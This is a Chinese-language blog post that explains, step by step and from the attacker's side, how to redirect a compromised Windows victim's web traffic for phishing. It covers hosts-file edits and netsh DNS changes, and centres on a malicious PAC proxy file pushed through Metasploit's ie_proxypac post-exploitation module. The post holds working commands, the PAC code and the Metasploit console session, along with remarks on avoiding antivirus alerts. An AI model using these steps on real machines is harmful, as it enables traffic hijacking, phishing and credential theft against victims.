通过PAC进行网络钓鱼

攻击者进行网络钓鱼的方式常有以下几种:

1. 通过修改受害者hosts文件(C:\WINDOWS\system32\drivers\etc\hosts)来实现;

2. 通过修改受害者dns来实现;

3. 已经进入路由器,直接修改路由器的DNS。

罗列的并不全,之后遇到的话再补充,上述三种方式很常见。

修改HOSTS文件,即攻击者修改受害者HOSTS文件为如下形式:

127.0.0.1 localhost x.x.x.x www.wooyun.com

这样就受害者访问www.wooyun.com会直接访问到x.x.x.x。在msf中可以使用inject_host脚本来实现。

修改dns进行攻击:

攻击者可是使用如下命令修改受害者的dns地址(管理员身份执行):

C:\Windows\system32>netsh interface ip show interfaces      

Idx  Met   MTU   状态          名称
---  ---  -----  -----------  -------------------
  1   50 4294967295  connected    Loopback Pseudo-Interface 1
 10   10   1500  connected    本地连接      

C:\Windows\system32>netsh interface ip set dns "本地连接" static 192.168.1.100
C:\Windows\system32>ipconfig /all | findstr 192.168.1.100
   DNS 服务器  . . . . . . . . . . . : 192.168.1.100

这样就修改了受害者的DNS地址,之后可以使用msf的 fakedns来架设dns服务器来修改域名的解析地址。

除了直接修改路由器的DNS地址的以上两种方式在某些环境下还是有一些缺点的,例如,一些牛逼的AV会检测到文件的修改而发出报警,除此之外,如果受害者所处内网环境中的防火墙或路由器拦截对外部的DNS请求,修改受害者DNS的攻击方式并不能生效(因为攻击者架设的DNS在外网环境下)。

通过PAC代理

Metasploit中的一个模块ie_proxypac。通过.PAC(自动配置代理)文件来完全控制IE的用户流量。只需要修改PAC文件,攻击者就能使受害者访问的某个域名指向攻击者的IP。虽然没有修改DNS但是可以达到同样的效果,且这种方式较为隐蔽。已经有很多人使用这种方式进行网络钓鱼。

下面是一个PAC文件示例:

function FindProxyForURL(url, host)
{
if (shExpMatch(host, "www.xxxx.org")) { 
 return "PROXY 192.168.52.129:80; DIRECT";
}
if (shExpMatch(host, "www.xxxxx.com")) { 
 return "PROXY 192.168.52.129:80; DIRECT";
}
}

这个文件的配置是当受害者访问www.xxxx.org以及www.xxxxxx.com时,他会直接请求到攻击者ip( 192.168.52.129)。

详细的PAC编写请查看http://findproxyforurl.com/pac-functions/。

将以上脚本保存为test.pac,在获取meterpreter会话的基础上使用ie_proxypac脚本:

meterpreter > background   
[*] Backgrounding session 1...  
msf > use post/windows/manage/ie_proxypac  
msf post(ie_proxypac) > set session 1  
session => 1  
msf post(ie_proxypac) > set REMOTE_PAC http://192.168.52.129/test.pac  
REMOTE_PAC => http://192.168.52.129/test.pac  
msf post(ie_proxypac) > show options       
   
Module options (post/windows/manage/ie_proxypac):      
   
   Name           Current Setting         Required  Description  
   ----           ---------------         --------  -----------  
   AUTO_DETECT    false                           yes       Automatically detect settings.  
   DISABLE_PROXY  false                           yes       Disable the proxy server.  
   LOCAL_PAC                                      no        Local PAC file.  
   REMOTE_PAC     http://192.168.52.129/test.pac  no        Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)  
   SESSION        1                               yes       The session to run this module on.  
msf post(ie_proxypac) > exploit       
   
[*] Setting automatic configuration script from local PAC file ...  
[+] Automatic configuration script configured...  
[*] Post module execution completed     

之后打开ie,internet选项->连接->局域网设置.

可以看到pac已经使用pac文件进行了代理。

代理尽量使用远程代理,因为IE11默认禁止本地代理,如果使用本地代理,代理是无效的。详情测试发现,如果连接了vpn,pac代理是失效的。

现在再访问www.xxxxx.com,www.xxxx.org,会看到已经转移到了我们制定的ip.

posted @ 2018-01-10 19:06  journeyIT  阅读(499)  评论(0编辑  收藏  举报